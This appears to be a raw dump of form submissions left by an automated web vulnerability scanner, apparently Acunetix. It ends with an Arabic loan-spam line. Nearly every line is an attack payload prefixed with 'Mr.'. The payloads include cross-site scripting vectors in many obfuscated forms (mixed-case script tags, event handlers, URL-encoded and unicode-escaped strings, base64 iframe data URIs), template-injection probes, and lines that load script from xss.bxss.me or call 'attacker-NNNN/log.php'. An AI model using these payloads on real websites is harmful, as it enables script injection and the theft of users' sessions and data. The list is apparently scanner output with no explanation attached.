��onload=B772(9480);>
Mr.<script>H8Rx(9579)</script>
Mr.<isindex type=image src=1 onerror=B772(9487)>
Mr.<script>H8Rx(9217)</script>9217
Mr.<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9118'>
Mr.%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%48%38%52%78%28%39%39%31%32%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E
Mr.<body onload=B772(9425)>
Mr.<ScRiPt
>H8Rx(9560)</ScRiPt>
Mr.<img src=//xss.bxss.me/t/dot.gif onload=B772(9114)>
Mr.<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9676></ScRiPt>
Mr.<img src=xyz OnErRor=B772(9486)>
Mr.<�ScRiPt
>H8Rx(9502)</ScRiPt>
Mr.<img/src=">" onerror=alert(9453)>
Mr.<svg
��onload=H8Rx(9155);>
%4D%72%2E%3C%53%63%52%69%50%74%20%3E%42%37%37%32%289107%29%3C%2F%73%43%72%69%70%54%3E
Mr.<isindex type=image src=1 onerror=H8Rx(9422)>
Mr.\u003CScRiPt\B772(9745)\u003C/sCripT\u003E
Mr.<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9729'>
Mr.<ScRiPt>B772(9905)</sCripT>
Mr.<body onload=H8Rx(9636)>
�<img zzz onmouseover=B772(95361) //�>
Mr.<img src=//xss.bxss.me/t/dot.gif onload=H8Rx(9166)>
Mr.<input autofocus onfocus=B772(9103)>
Mr.<img src=xyz OnErRor=H8Rx(9096)>
<a HrEF=http://xss.bxss.me></a>
Mr.<img/src=">" onerror=alert(9338)>
%4D%72%2E%3C%53%63%52%69%50%74%20%3E%48%38%52%78%289725%29%3C%2F%73%43%72%69%70%54%3E
Mr.}body{zzz:Expre/**/SSion(B772(9714))}
Mr.\u003CScRiPt\H8Rx(9214)\u003C/sCripT\u003E
Mr.T6iZq
<ScRiPt >B772(9069)</ScRiPt>
Mr.<ScRiPt>H8Rx(9057)</sCripT>
Mr.<WCETKW>DSYLI[!+!]</WCETKW>
�<img zzz onmouseover=H8Rx(91871) //�>
Mr.<ifRAme sRc=9161.com></IfRamE>
Mr.<input autofocus onfocus=H8Rx(9523)>
<a HrEF=http://xss.bxss.me></a>
Mr.<img sRc='http://attacker-9255/log.php?
Mr.}body{zzz:Expre/**/SSion(H8Rx(9354))}
Mr.RaGfz
<ScRiPt >H8Rx(9964)</ScRiPt>
Mr.<WKXGTR>MRNDQ[!+!]</WKXGTR>
Mr.<ifRAme sRc=9636.com></IfRamE>
Mr.<img sRc='http://attacker-9394/log.php?
Mr.'"()&%<zzz><ScRiPt >5n7L(9704)</ScRiPt>
'"()&%<zzz><ScRiPt >5n7L(9953)</ScRiPt>
bfg10927%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl10927
bfgx5145%C0%BEz1%C0%BCz2a%90bcxhjl5145
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
dfb__${98991*97996}__::.x
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
Mr.<ScRiPt >5n7L(9217)</ScRiPt>
Mr.<WAVLLW>KL7AM[!+!]</WAVLLW>
Mr.<script>5n7L(9257)</script>
Mr.<script>5n7L(9256)</script>9256
Mr.%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%35%6E%37%4C%28%39%31%33%39%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E
Mr.<ScRiPt
>5n7L(9540)</ScRiPt>
Mr.<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9849></ScRiPt>
Mr.<�ScRiPt
>5n7L(9124)</ScRiPt>
Mr.<svg
��onload=5n7L(9053);>
Mr.<isindex type=image src=1 onerror=5n7L(9778)>
Mr.<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9646'>
Mr.<body onload=5n7L(9330)>
Mr.<img src=//xss.bxss.me/t/dot.gif onload=5n7L(9158)>
Mr.<img src=xyz OnErRor=5n7L(9942)>
Mr.<img/src=">" onerror=alert(9037)>
%4D%72%2E%3C%53%63%52%69%50%74%20%3E%35%6E%37%4C%289310%29%3C%2F%73%43%72%69%70%54%3E
Mr.\u003CScRiPt\5n7L(9770)\u003C/sCripT\u003E
Mr.<ScRiPt>5n7L(9698)</sCripT>
�<img zzz onmouseover=5n7L(95121) //�>
Mr.<input autofocus onfocus=5n7L(9996)>
<a HrEF=http://xss.bxss.me></a>
Mr.}body{zzz:Expre/**/SSion(5n7L(9047))}
Mr.'"()&%<zzz><ScRiPt >iLBX(9690)</ScRiPt>
Mr.Ok7DB
<ScRiPt >5n7L(9126)</ScRiPt>
'"()&%<zzz><ScRiPt >iLBX(9485)</ScRiPt>
Mr.<WOZ7S2>SZQWB[!+!]</WOZ7S2>
Mr.<ifRAme sRc=9654.com></IfRamE>
bfg2080%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl2080
bfgx6061%C0%BEz1%C0%BCz2a%90bcxhjl6061
Mr.<img sRc='http://attacker-9433/log.php?
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
dfb__${98991*97996}__::.x
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
Mr.<ScRiPt >iLBX(9618)</ScRiPt>
Mr.<WHWBOB>ZJCZS[!+!]</WHWBOB>
Mr.<script>iLBX(9812)</script>
Mr.<script>iLBX(9228)</script>9228
Mr.%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%69%4C%42%58%28%39%31%38%34%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E
Mr.<ScRiPt
>iLBX(9254)</ScRiPt>
Mr.<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9364></ScRiPt>
Mr.<�ScRiPt
>iLBX(9414)</ScRiPt>
Mr.<svg
��onload=iLBX(9470);>
Mr.<isindex type=image src=1 onerror=iLBX(9489)>
Mr.<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9243'>
Mr.<body onload=iLBX(9357)>
Mr.<img src=//xss.bxss.me/t/dot.gif onload=iLBX(9541)>
Mr.<img src=xyz OnErRor=iLBX(9735)>
Mr.<img/src=">" onerror=alert(9454)>
%4D%72%2E%3C%53%63%52%69%50%74%20%3E%69%4C%42%58%289651%29%3C%2F%73%43%72%69%70%54%3E
Mr.\u003CScRiPt\iLBX(9291)\u003C/sCripT\u003E
Mr.<ScRiPt>iLBX(9129)</sCripT>
�<img zzz onmouseover=iLBX(94531) //�>
Mr.<input autofocus onfocus=iLBX(9063)>
<a HrEF=http://xss.bxss.me></a>
Mr.}body{zzz:Expre/**/SSion(iLBX(9240))}
Mr.5p5Kx
<ScRiPt >iLBX(9674)</ScRiPt>
Mr.<WNQFXK>W70TB[!+!]</WNQFXK>
Mr.<ifRAme sRc=9631.com></IfRamE>
Mr.<img sRc='http://attacker-9965/log.php?
Mr.'"()&%<zzz><ScRiPt >QovV(9340)</ScRiPt>
'"()&%<zzz><ScRiPt >QovV(9722)</ScRiPt>
bfg10124%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl10124
bfgx6364%C0%BEz1%C0%BCz2a%90bcxhjl6364
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
dfb__${98991*97996}__::.x
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
Mr.<ScRiPt >QovV(9142)</ScRiPt>
Mr.<WUUPFR>09UL4[!+!]</WUUPFR>
Mr.<script>QovV(9004)</script>
Mr.<script>QovV(9748)</script>9748
Mr.%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%51%6F%76%56%28%39%30%35%37%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E
Mr.<ScRiPt
>QovV(9409)</ScRiPt>
Mr.<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9400></ScRiPt>
Mr.<�ScRiPt
>QovV(9255)</ScRiPt>
Mr.<svg
��onload=QovV(9856);>
Mr.<isindex type=image src=1 onerror=QovV(9914)>
Mr.<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9318'>
Mr.<body onload=QovV(9229)>
Mr.<img src=//xss.bxss.me/t/dot.gif onload=QovV(9345)>
Mr.<img src=xyz OnErRor=QovV(9431)>
Mr.<img/src=">" onerror=alert(9006)>
%4D%72%2E%3C%53%63%52%69%50%74%20%3E%51%6F%76%56%289389%29%3C%2F%73%43%72%69%70%54%3E
Mr.\u003CScRiPt\QovV(9484)\u003C/sCripT\u003E
Mr.<ScRiPt>QovV(9960)</sCripT>
�<img zzz onmouseover=QovV(95461) //�>
Mr.<input autofocus onfocus=QovV(9003)>
<a HrEF=http://xss.bxss.me></a>
Mr.}body{zzz:Expre/**/SSion(QovV(9058))}
Mr.ZQVU0
<ScRiPt >QovV(9395)</ScRiPt>
Mr.<WJVHSV>KIVLY[!+!]</WJVHSV>
Mr.<ifRAme sRc=9590.com></IfRamE>
Mr.<img sRc='http://attacker-9215/log.php?
Mr.'"()&%<zzz><ScRiPt >oOol(9092)</ScRiPt>
'"()&%<zzz><ScRiPt >oOol(9185)</ScRiPt>
bfg8589%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl8589
bfgx4922%C0%BEz1%C0%BCz2a%90bcxhjl4922
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
dfb__${98991*97996}__::.x
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
Mr.<ScRiPt >oOol(9133)</ScRiPt>
Mr.<W0CL3S>D9VCX[!+!]</W0CL3S>
Mr.<script>oOol(9830)</script>
Mr.<script>oOol(9590)</script>9590
Mr.%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%6F%4F%6F%6C%28%39%37%35%30%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E
Mr.<ScRiPt
>oOol(9666)</ScRiPt>
Mr.<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9064></ScRiPt>
Mr.<�ScRiPt
>oOol(9895)</ScRiPt>
Mr.<svg
��onload=oOol(9642);>
Mr.<isindex type=image src=1 onerror=oOol(9926)>
Mr.<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9438'>
Mr.<body onload=oOol(9797)>
Mr.<img src=//xss.bxss.me/t/dot.gif onload=oOol(9690)>
Mr.<img src=xyz OnErRor=oOol(9127)>
Mr.<img/src=">" onerror=alert(9650)>
%4D%72%2E%3C%53%63%52%69%50%74%20%3E%6F%4F%6F%6C%289568%29%3C%2F%73%43%72%69%70%54%3E
Mr.\u003CScRiPt\oOol(9684)\u003C/sCripT\u003E
Mr.<ScRiPt>oOol(9987)</sCripT>
�<img zzz onmouseover=oOol(96861) //�>
Mr.<input autofocus onfocus=oOol(9629)>
<a HrEF=http://xss.bxss.me></a>
Mr.}body{zzz:Expre/**/SSion(oOol(9230))}
Mr.cxxuz
<ScRiPt >oOol(9604)</ScRiPt>
Mr.<WOWADX>CI6H0[!+!]</WOWADX>
Mr.<ifRAme sRc=9789.com></IfRamE>
Mr.<img sRc='http://attacker-9726/log.php?
اطلب قرضك الآن